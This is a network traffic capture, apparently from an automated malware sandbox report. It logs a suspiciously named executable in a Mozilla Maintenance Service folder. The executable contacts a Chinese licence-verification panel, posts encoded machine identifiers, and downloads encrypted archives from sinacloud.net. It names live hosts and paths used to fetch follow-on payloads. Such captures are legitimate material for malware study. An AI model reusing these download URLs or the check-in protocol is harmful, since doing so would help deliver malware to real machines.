Aug 5, 2024 11:59:12.170173883 CEST	1236	IN	HTTP/1.1 206 Partial Content Date: Mon, 05 Aug 2024 09:59:12 GMT Content-Type: text/html;charset=utf-8 Content-Length: 4575 Connection: keep-alive X-Powered-By: PHP/5.3.29 Set-Cookie: PHPSESSID=ac2892f9cfa891fda358309647ce66d2; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Range: bytes 0-4574/4575 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e e7 99 be e5 ba a6 e4 b8 80 e4 b8 8b ef bc 8c e4 bd a0 e5 b0 b1 e7 9f a5 e9 81 93 2d 2d 4d 31 37 2d 50 32 37 32 20 20 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 e6 9c 8d e5 8a a1 e7 ab af e7 89 88 e6 9c ac 22 20 63 6f 6e 74 65 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>--M17-P272 </title><meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8" /><meta name="" content="Version M17-P272" /><meta name="" content=" http://www.hphu.com QQ188372002" /><script type="text/javascript" src="/kss_inc/js/jquery.1.3.2.pack.js" charset="utf-8"></script><link rel="shortcut icon" href="/favicon.ico" /><style>a{font-size:12px;color:#666;text-decoration:none;}body{background:#ffffff url(../kss_inc/images/login_01.png) repeat-x;}form{margin:0;padding:0}input{font-size:12px}#username{bac
Aug 5, 2024 11:59:12.170188904 CEST	188	IN	Data Raw: 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 6b 73 73 5f 69 6e 63 2f 69 6d 61 67 65 73 2f 75 73 65 72 31 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 77 69 64 74 68 3a 32 30 30 Data Ascii: kground:url(../kss_inc/images/user1.png) no-repeat;border:1px solid #ccc;width:200px;height:28px;padding:0 0 0 40px;margin:0;line-height:28px;}#password{font-size:12px;font-family: Fix
Aug 5, 2024 11:59:12.188865900 CEST	1236	IN	Data Raw: 65 64 73 79 73 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 6b 73 73 5f 69 6e 63 2f 69 6d 61 67 65 73 2f 70 61 73 73 77 6f 72 64 74 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 62 Data Ascii: edsys;line-height:24px;background:url(../kss_inc/images/passwordt.png) no-repeat;border:1px solid #ccc;color:#fff;width:200px;height:28px;padding:0 0 0 40px;margin:0;line-height:28px;}#input3{background:url(../kss_inc/images/password2.png) n
Aug 5, 2024 11:59:12.188882113 CEST	1236	IN	Data Raw: 6e 69 6d 67 2e 70 68 70 3f 72 6e 64 69 64 3d 22 2b 73 54 69 6d 65 28 29 29 3b 0d 0a 7d 29 3b 0d 0a 0d 0a 24 28 22 23 70 61 73 73 77 6f 72 64 22 29 2e 62 69 6e 64 28 22 63 6c 69 63 6b 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 76 61 72 20 63 31 Data Ascii: nimg.php?rndid="+sTime());});$("#password").bind("click",function(){var c1=$(this).offset();$("#psssdiv").css({top:c1.top+5,left:c1.left+40});$(this).val("");$("#psssdiv").text("");});$("#password").bind("keyup",function(){
Aug 5, 2024 11:59:12.188899994 CEST	376	IN	Data Raw: 20 61 6c 69 67 6e 3d 63 65 6e 74 65 72 3e 0d 0a 3c 74 61 62 6c 65 20 77 69 64 74 68 3d 22 32 33 30 22 20 68 65 69 67 68 74 3d 31 30 30 22 20 62 6f 72 64 65 72 3d 22 30 22 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 22 30 22 20 63 65 6c 6c 73 70 61 63 Data Ascii: align=center><table width="230" height=100" border="0" cellpadding="0" cellspacing="0" align=center><tr><td colspan=2><input type="text" value="" name="username" id="username" maxlength="15" AUTOCOMPLETE="off"><br><br></td></tr><tr>
Aug 5, 2024 11:59:12.278866053 CEST	741	IN	Data Raw: 72 3e 0d 0a 3c 74 64 20 63 6f 6c 73 70 61 6e 3d 32 20 61 6c 69 67 6e 3d 6c 65 66 74 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 6e 61 6d 65 3d 22 6c 6f 67 69 6e 69 6d 67 22 20 6d 61 78 6c 65 6e 67 74 68 3d 22 36 22 20 41 55 54 4f Data Ascii: r><td colspan=2 align=left><input type="text" name="loginimg" maxlength="6" AUTOCOMPLETE="off" id="input3"><div style="position:relative;"><img id="chkimg" src="./loginimg.php?rndid=1722851952"></div></td></tr><tr><td width=120 nowarp>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49731	8.212.11.147	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:11.215878963 CEST	205	OUT	GET /kss_admin/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Host: yanzheng.appchizi.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:12.113102913 CEST	1236	IN	HTTP/1.1 206 Partial Content Date: Mon, 05 Aug 2024 09:59:11 GMT Server: Apache/2.4.10 (Debian) PHP/5.3.29 X-Powered-By: PHP/5.3.29 Set-Cookie: PHPSESSID=673f44f610eb014ec0056d011204a305; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Range: bytes 0-4574/4575 Content-Length: 4575 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html;charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e e7 99 be e5 ba a6 e4 b8 80 e4 b8 8b ef bc 8c e4 bd a0 e5 b0 b1 e7 9f a5 e9 81 93 2d 2d 4d 31 37 2d 50 32 37 32 20 20 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 e6 9c 8d e5 8a a1 e7 ab af e7 89 88 e6 9c ac 22 20 63 6f 6e 74 65 6e [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>--M17-P272 </title><meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8" /><meta name="" content="Version M17-P272" /><meta name="" content=" http://www.hphu.com QQ188372002" /><script type="text/javascript" src="/kss_inc/js/jquery.1.3.2.pack.js" charset="utf-8"></script><link rel="shortcut icon" href="/favicon.ico" /><style>a{font-size:12px;color:#666;text-decoration:none;}body{background:#ffffff url(../kss_inc/images/login_01.png)
Aug 5, 2024 11:59:12.113137007 CEST	1236	IN	Data Raw: 20 72 65 70 65 61 74 2d 78 3b 7d 0d 0a 66 6f 72 6d 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 0d 0a 69 6e 70 75 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 7d 0d 0a 23 75 73 65 72 6e 61 6d 65 7b 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: repeat-x;}form{margin:0;padding:0}input{font-size:12px}#username{background:url(../kss_inc/images/user1.png) no-repeat;border:1px solid #ccc;width:200px;height:28px;padding:0 0 0 40px;margin:0;line-height:28px;}#password{font-size:1
Aug 5, 2024 11:59:12.113153934 CEST	1236	IN	Data Raw: 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 69 6d 67 74 69 6d 65 3d 73 54 69 6d 65 28 29 3b 0d 0a 24 28 22 23 69 6e 70 75 74 33 22 29 2e 62 69 6e 64 28 22 66 6f 63 75 73 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 69 66 28 73 Data Ascii: ).ready(function(){imgtime=sTime();$("#input3").bind("focus",function(){if(sTime()-imgtime>50*1000){$("#chkimg").attr("src","./loginimg.php?rndid="+sTime());imgtime=sTime();}});$("#chkimg").bind("click",function(){$("#chkimg"
Aug 5, 2024 11:59:12.113168955 CEST	1236	IN	Data Raw: 2f 6c 6f 67 69 6e 5f 30 33 2e 70 6e 67 29 3b 22 20 20 77 69 64 74 68 3d 22 35 31 37 22 20 68 65 69 67 68 74 3d 22 32 33 39 22 3e 26 6e 62 73 70 3b 3c 2f 74 64 3e 0d 0a 3c 74 64 20 72 6f 77 73 70 61 6e 3d 22 33 22 20 73 74 79 6c 65 3d 22 62 61 63 Data Ascii: /login_03.png);" width="517" height="239"> </td><td rowspan="3" style="background:url(../kss_inc/images/login_04.png);" width="215" height="560"> </td></tr><tr><td style="background:url(../kss_inc/images/login_05.png);" widt
Aug 5, 2024 11:59:12.113188028 CEST	144	IN	Data Raw: 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 2f 74 61 62 6c 65 3e 0d 0a 3c 64 69 76 20 69 64 3d 27 70 73 73 73 64 69 76 27 3e e8 af b7 e8 be 93 e5 85 a5 e5 af 86 e7 a0 81 ef bc 8c e6 94 af e6 8c 81 e4 b8 ad e6 96 87 3c 2f 64 69 76 3e 3c 64 69 76 20 69 Data Ascii: td></tr></table><div id='psssdiv'></div><div id="psssdiv2"></div><script></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49732	27.221.16.149	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:11.229831934 CEST	232	OUT	GET /operate/18771 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:12.339903116 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Mon, 05 Aug 2024 09:59:09 GMT Content-Type: application/octet-stream Content-Length: 344118 Connection: keep-alive X-RequestId: 2f54ca8b-2408-0517-5912-0894eff939cc X-Requester: GRPS000000ANONYMOUSE Last-Modified: Thu, 01 Aug 2024 08:27:46 GMT X-Filesize: 344118 ETag: "15e5aaedf5470eb1c8c76bd13d3ce1aa" x-amz-meta-crc32: 670F00D0 Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-344117/344118 Data Raw: 50 4b 03 04 14 00 01 00 08 00 16 83 01 59 b0 e5 a2 38 c2 3f 05 00 00 8e 05 00 09 00 00 00 31 38 37 37 31 2e 72 61 72 ba 9a d9 45 73 c6 b1 46 99 81 e4 56 02 16 45 de 1a 29 b1 23 07 9c 63 42 b1 06 88 56 01 85 77 b3 46 e2 fd e1 3f ef f4 39 4c 63 e1 05 a1 6a 51 bc c2 3d 5b da c3 95 5c 82 62 4c 48 f0 31 84 62 88 62 ff 20 2c ab 75 62 76 43 3d 71 9e ef 54 42 74 e3 10 f1 b4 0d b1 65 cf bb 34 9a ac f0 2e 8d 81 18 8b d5 75 7e 68 82 66 88 e3 3b 82 1f c5 4a 97 74 5b 18 c6 ce f0 b4 43 57 d1 6b 4d 97 63 ec 6d 15 29 27 84 53 1d 80 eb 06 cd 18 b3 6f b8 ed 63 7d 58 92 6c 82 31 6b bd 86 c9 65 fa 63 52 ca fd c7 cc 47 02 98 5c c6 bc a6 97 a4 78 54 0e 5e 2d 9e 63 8f 75 62 e1 68 2d eb 29 43 f3 f6 86 49 a1 db 4f 64 b7 e7 09 42 bf 0e 99 d9 06 f0 2e 63 26 05 68 31 a4 56 e5 90 56 f3 04 4b 69 1a 32 ed 2a 85 7e ad 6c d7 b4 d0 fa 07 55 af 5b 27 e9 03 a4 4c 66 a9 a0 a3 fd 77 47 79 1a a9 1f 95 b7 47 5a 28 a7 b7 58 46 bc d2 f8 90 57 7b f6 bf 05 8d 60 25 a7 95 eb 8e a2 ab a7 64 5d a2 3d f4 03 94 75 75 6a d2 69 e2 b5 e4 50 92 d4 b5 [TRUNCATED] Data Ascii: PKY8?18771.rarEsFVE)#cBVwF?9LcjQ=[\bLH1bb ,ubvC=qTBte4.u~hf;Jt[CWkMcm)'Soc}Xl1kecRG\xT^-cubh-)CIOdB.c&h1VVKi2~lU['LfwGyGZ(XFW{`%d]=uujiPWgp([XW<g"n9(WLcc<1l3`jJ+SwekSi1Zij!5d\(6,7]TUwPJzPAWHUubE#mR}{7.$.>~VU<w
Aug 5, 2024 11:59:12.340044975 CEST	1236	IN	Data Raw: 37 ec f3 88 32 ee 51 10 e6 29 49 1d e5 be c6 e1 e1 d6 48 99 95 f0 6f 38 33 79 fd d9 2c ef cf 4e e2 3b bc 31 5f ff 55 1f 10 ae 38 1c ef 46 b1 1d db 48 ef 06 f6 3c 4a 6c 32 0d 82 ff bf 06 2d b9 91 c3 9e 7e 1d 29 9b 97 86 10 e8 50 96 fb 70 a7 b9 af Data Ascii: 72Q)IHo83y,N;1_U8FH<Jl2-~)Pp,g`5)Db4L/B&FhOF@8)":2$Xpt+cbzK(:0_9>u, p>Bq*8Tb^DFwP+1EV
Aug 5, 2024 11:59:12.340061903 CEST	1236	IN	Data Raw: a8 79 51 33 e0 f8 29 1e ab 2d 69 45 0d 6a a7 54 74 85 b5 9c d5 d0 ab 83 88 ec a9 f4 2f 60 ce d1 e1 5d 70 b9 3d a4 6f 63 54 e3 ef 8f b6 82 9b 93 02 db 38 60 82 1b a7 1d a8 b9 56 35 88 8d 6f b8 2d 17 ae 8f 85 7e ef fd 9e 57 aa 3b b2 6b 9b 44 85 a9 Data Ascii: yQ3)-iEjTt/`]p=ocT8`V5o-~W;kD?^yb^+4'pAOBC1sWBb\vAhu'{jv(OxNy>]'b=<[idN$v7H~jGS7gd0\5QC6q!oH
Aug 5, 2024 11:59:12.340101957 CEST	1236	IN	Data Raw: 43 32 32 54 75 e6 c6 9d 57 01 28 52 f5 00 f1 53 10 ad 76 1c a1 ac 1e f5 1e 32 59 8b 3e 2c 3d 8e a6 4f 60 ea 1b dd e1 f5 d3 cd 50 d3 36 c8 e8 16 8f 61 f8 d0 8c 65 40 a7 99 9c 07 ee 26 27 e8 7d 32 18 3f 98 e8 b3 eb 06 ae f5 4b c7 cb cc 74 81 90 4b Data Ascii: C22TuW(RSv2Y>,=O`P6ae@&'}2?KtK@ve#AN=}wA;O,,C9 QD0_yI7'AL)qxEEx?4BhB3(NW88:@U%-]cgL]W{5HrcC:0Ztx
Aug 5, 2024 11:59:12.340127945 CEST	1236	IN	Data Raw: b7 81 80 f9 c0 8f 96 cd 09 ae aa 73 33 81 02 d2 38 81 92 e8 84 b6 96 98 d2 ad 80 aa 84 04 87 b7 3e 27 06 3c 9f 67 57 d2 4b b5 03 ae e4 ea 0b 9e bf c8 26 d6 18 a5 f4 87 e6 64 b3 62 69 2e ff 41 68 28 e8 fd cf c0 27 49 33 bb b6 83 4a 32 60 29 98 70 Data Ascii: s38>'<gWK&dbi.Ah('I3J2`)pOECN6?v,k(QJD_`,IO$0L@!iOD>9plv4iw-EG.w0['I1y(^O+^jH=
Aug 5, 2024 11:59:12.340143919 CEST	1236	IN	Data Raw: 2f 00 52 24 9f f2 44 41 a7 bc c5 3d af 46 aa ae 72 2b 02 ad 00 7b 80 54 de e7 18 10 e5 f3 ff b5 1d 12 21 31 c4 a5 a4 b7 27 4a 41 1a ae a1 95 dd c8 a9 2e a7 62 1c cc 0b 17 2a 70 1a 76 26 40 38 10 59 f4 d3 2a 29 cc 48 51 7e d2 b0 74 e7 54 80 88 7b Data Ascii: /R$DA=Fr+{T!1'JA.bpv&@8Y)HQ~tT{T}K)}W632'OB?e}c<^.O ;Q"Vt]~BLw{Pd$[-GVy%Y%Frt_{&!eT
Aug 5, 2024 11:59:12.340159893 CEST	1236	IN	Data Raw: d5 e8 08 13 58 14 23 6f a7 96 d4 4c ce e1 7e b1 5b a5 ec 49 d0 e8 f3 6c 16 7b 28 51 ce 79 7d 9a 1e 3e 4e fb 5d 7d 7e 00 2f 1d a9 b0 1e 5d c1 10 28 af d3 72 3d 83 e6 e4 f2 32 13 0f e8 00 c1 0b d7 5f 12 aa 11 bd d0 ae 7f 8e 4d b6 8a 4c c3 43 1e 30 Data Ascii: X#oL~[Il{(Qy}>N]}~/](r=2_MLC0@IO<q3;pq}C}Q_\N;?*_P"9\|nd3e&Ry)AL8'ef?eu}L=J<"Ed\|Bf}b!8nj/uB6^s=zT'"]
Aug 5, 2024 11:59:12.340178967 CEST	1236	IN	Data Raw: de 80 74 c3 6c dc fa 93 65 0c c7 71 62 3e fa 8b 9b 15 c1 46 19 f0 ea cc 66 dc f6 be ca 5f 1d 4c 1c 85 1b 46 19 16 ef dd 03 fc d6 58 5d d9 06 c4 30 af 69 02 bf 14 6b fa b3 0b ad 77 4f 8a f1 62 b8 34 0a 74 df 40 03 cb 13 c0 58 01 21 32 fa 77 a2 7b Data Ascii: tleqb>Ff_LFX]0ikwOb4t@X!2w{"i45`-grEV~teN\|).xNMg6Cc5v4EO%c>F]~]i)lYm\|d=dJ0^MiFhC{m{qErW
Aug 5, 2024 11:59:12.340194941 CEST	1236	IN	Data Raw: 6b fa a2 a2 a8 86 fb 8d b5 11 c9 46 84 6d 00 36 4c 24 21 03 1c 67 d1 79 10 7e a1 5e ff 65 95 5a ee 22 75 8a 35 e3 48 62 41 68 b6 81 aa 6a 7c 4e 5b 8b e2 93 e1 c9 11 a7 af ab 9b 9f ad f2 4c 64 34 f7 cf fc 56 e5 06 36 c7 96 fb be 3d 30 fd 8f 6c 6a Data Ascii: kFm6L$!gy~^eZ"u5HbAhj\|N[Ld4V6=0lj`cw@G2Umw8NRkGPJ>#Mzs'HR!7P{9!hNR<yYFDevMW)\|-.KX)0u-;tq76
Aug 5, 2024 11:59:12.340214014 CEST	1236	IN	Data Raw: 28 7e 9a e8 6f 5b 76 af 1d 14 03 cb 12 e6 3b 17 6a 39 2f 38 4e 30 d8 30 57 80 e5 98 a6 55 2e 5b 16 a6 ba a5 51 04 d9 36 93 9e fa b4 a1 10 11 9c 60 05 0d c0 30 1d c2 4d 19 3d a3 10 59 a6 64 3c 04 1b 63 f4 91 5c 5c fd 12 2e 04 5b ea f1 dd f4 2b 6b Data Ascii: (~o[v;j9/8N00WU.[Q6`0M=Yd<c\\.[+k3H,&L5T6JhLH\|5;RFY:+GcB-lytP/_FIis/gge_'81-_Q9SCO&S^C@k*/Cv8V$
Aug 5, 2024 11:59:12.345122099 CEST	1236	IN	Data Raw: b1 41 2f fc ee 96 e6 99 3d 2d ac a6 30 7d 8c ba b7 d0 66 45 25 a0 2f 0d 04 1e d6 b2 c9 05 07 e4 06 45 bd 1d 63 89 33 61 e5 04 9d 90 8c 7d b1 96 68 5b 2b e7 70 60 fc 0b 42 60 1c 05 74 6c d4 1a 09 12 6f ff 85 0f 00 9e ee 2f bc 94 c8 35 8e 5f b4 67 Data Ascii: A/=-0}fE%/Ec3a}h[+p`B`tlo/5_g7bLxadYWn.?VI_Ea;;E3]PeIh >S~wjJK?\|_7>?SkSmSezBJFZ>]xXcS`P}Fp1I\\|!49S7c+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49733	8.212.11.147	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:12.873298883 CEST	375	OUT	POST /kss_io/io.php?v=13&b=1&s=10000025&e=get&line=1kstoken80597805589 HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Accept-Language: zh-cn Referer: http://yanzheng.appchizi.com/ User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; ) Content-Length: 126 Host: yanzheng.appchizi.com
Aug 5, 2024 11:59:12.873315096 CEST	126	OUT	Data Raw: 6d 3d 37 37 45 45 44 46 32 45 41 42 35 32 46 46 30 36 31 38 38 46 36 31 36 44 37 36 44 37 35 33 35 39 26 6f 3d 5f 44 61 74 61 43 56 65 55 46 32 53 75 74 69 31 62 45 7a 31 4c 36 4b 69 36 78 51 65 71 77 34 44 56 61 52 58 4d 49 30 42 6a 65 7c 6f 57 Data Ascii: m=77EEDF2EAB52FF06188F616D76D75359&o=_DataCVeUF2Suti1bEz1L6Ki6xQeqw4DVaRXMI0Bje\|oWRQb9\|LRV_tg6ophJj1jKUIvLHQgwVms\|FARgZQLpaFO=
Aug 5, 2024 11:59:13.831978083 CEST	435	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 09:59:13 GMT Server: Apache/2.4.10 (Debian) PHP/5.3.29 X-Powered-By: PHP/5.3.29 Vary: Accept-Encoding Content-Length: 171 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html;charset=utf-8 Data Raw: 3c 78 6d 6c 3e 3c 73 74 61 74 65 3e 31 30 30 3c 2f 73 74 61 74 65 3e 3c 6d 65 73 73 61 67 65 3e e5 8f 96 e8 bd af e4 bb b6 e4 bf a1 e6 81 af e6 88 90 e5 8a 9f 3c 2f 6d 65 73 73 61 67 65 3e 3c 75 70 73 65 74 3e 30 3c 2f 75 70 73 65 74 3e 3c 73 6f 66 74 76 65 72 3e 31 3c 2f 73 6f 66 74 76 65 72 3e 3c 73 6f 66 74 64 6f 77 6e 75 72 6c 3e 68 74 74 70 3a 2f 2f 3c 2f 73 6f 66 74 64 6f 77 6e 75 72 6c 3e 3c 79 7a 70 6c 3e 31 35 3c 2f 79 7a 70 6c 3e 3c 73 6f 66 74 67 67 3e 3c 2f 73 6f 66 74 67 67 3e 3c 2f 78 6d 6c 3e Data Ascii: <xml><state>100</state><message></message><upset>0</upset><softver>1</softver><softdownurl>http://</softdownurl><yzpl>15</yzpl><softgg></softgg></xml>
Aug 5, 2024 11:59:14.049299955 CEST	435	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 09:59:13 GMT Server: Apache/2.4.10 (Debian) PHP/5.3.29 X-Powered-By: PHP/5.3.29 Vary: Accept-Encoding Content-Length: 171 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html;charset=utf-8 Data Raw: 3c 78 6d 6c 3e 3c 73 74 61 74 65 3e 31 30 30 3c 2f 73 74 61 74 65 3e 3c 6d 65 73 73 61 67 65 3e e5 8f 96 e8 bd af e4 bb b6 e4 bf a1 e6 81 af e6 88 90 e5 8a 9f 3c 2f 6d 65 73 73 61 67 65 3e 3c 75 70 73 65 74 3e 30 3c 2f 75 70 73 65 74 3e 3c 73 6f 66 74 76 65 72 3e 31 3c 2f 73 6f 66 74 76 65 72 3e 3c 73 6f 66 74 64 6f 77 6e 75 72 6c 3e 68 74 74 70 3a 2f 2f 3c 2f 73 6f 66 74 64 6f 77 6e 75 72 6c 3e 3c 79 7a 70 6c 3e 31 35 3c 2f 79 7a 70 6c 3e 3c 73 6f 66 74 67 67 3e 3c 2f 73 6f 66 74 67 67 3e 3c 2f 78 6d 6c 3e Data Ascii: <xml><state>100</state><message></message><upset>0</upset><softver>1</softver><softdownurl>http://</softdownurl><yzpl>15</yzpl><softgg></softgg></xml>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49734	27.221.16.149	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:16.967391014 CEST	232	OUT	GET /operate/11133 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:18.162801981 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Mon, 05 Aug 2024 09:59:15 GMT Content-Type: application/octet-stream Content-Length: 2055055 Connection: keep-alive X-RequestId: 2fd21109-2408-0517-5917-6c92bfce67e3 X-Requester: GRPS000000ANONYMOUSE Last-Modified: Mon, 05 Aug 2024 03:47:37 GMT X-Filesize: 2055055 ETag: "c445e228c1d2b855ca691b34182c8b68" x-amz-meta-crc32: F5269915 Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-2055054/2055055 Data Raw: 50 4b 03 04 14 00 01 00 08 00 91 5d 05 59 22 5d 47 ae 1b 5b 1f 00 00 66 48 00 09 00 00 00 31 31 31 33 33 2e 72 61 72 b6 3f dc 6d cc f0 a6 b5 9b ee 35 4d 4d 44 53 8a 8f 2b ef 70 91 6c a0 f9 c5 e2 74 5a b3 b2 7f 94 43 94 a8 8b 4e 0c fe eb c7 ef 75 90 c8 55 4a f1 b6 a0 ef f7 3a 33 88 e8 90 0a 95 3b dc b7 a1 a0 5c 57 50 0e dc 2a 75 70 e4 16 4d d3 e1 5e 7f e1 54 49 5e 0c 38 da c5 cc 67 11 df e1 45 26 c9 01 3b e0 dd ad 92 fe 6b 08 fc 31 a5 6b df 63 b0 bd 99 7b e7 53 a2 c1 e7 83 01 d0 6d e5 80 37 1f 2a 79 f2 70 2c e0 d3 30 60 4d 05 71 15 6e 1a ec f4 27 d3 d8 f2 42 f7 53 bd c7 78 06 5f f5 19 09 12 08 84 2d 16 e1 77 dd 5a 7e 2e de 6e 3b ad 32 7b 0c 01 32 52 c6 a0 1f ec e9 cf 34 42 90 4b c9 82 b4 94 82 0a 8d 8a b1 92 a9 48 24 f5 fd 55 17 77 ae c0 a7 d2 5e 8f ae e2 88 ce 3e f2 7b ae 1f 02 0d 4a 31 24 df db e5 9a f2 00 7d 15 92 a0 84 b9 a5 9b d8 bd 94 0e a7 84 ec 5f 8c d1 d8 b0 23 34 6f 8b 5a 63 1f 3f 9c a2 c6 2d 19 6f 04 fd a7 6f 1d f3 e3 fe 4a 6b e8 bf 24 03 c1 3d fc 47 12 03 1a f3 a4 cb da 21 8b 75 cf bd b8 [TRUNCATED] Data Ascii: PK]Y"]G[fH11133.rar?m5MMDS+pltZCNuUJ:3;\WPupM^TI^8gE&;k1kc{Sm7yp,0`Mqn'BSx_-wZ~.n;2{2R4BKH$Uw^>{J1$}_#4oZc?-ooJk$=G!u#l6-2Ez0\|E'7i8>o'}^^$lH,7jm=P$]<5;cs]_5@#p2&ltRd~r~W%"FGZ>rv=`O
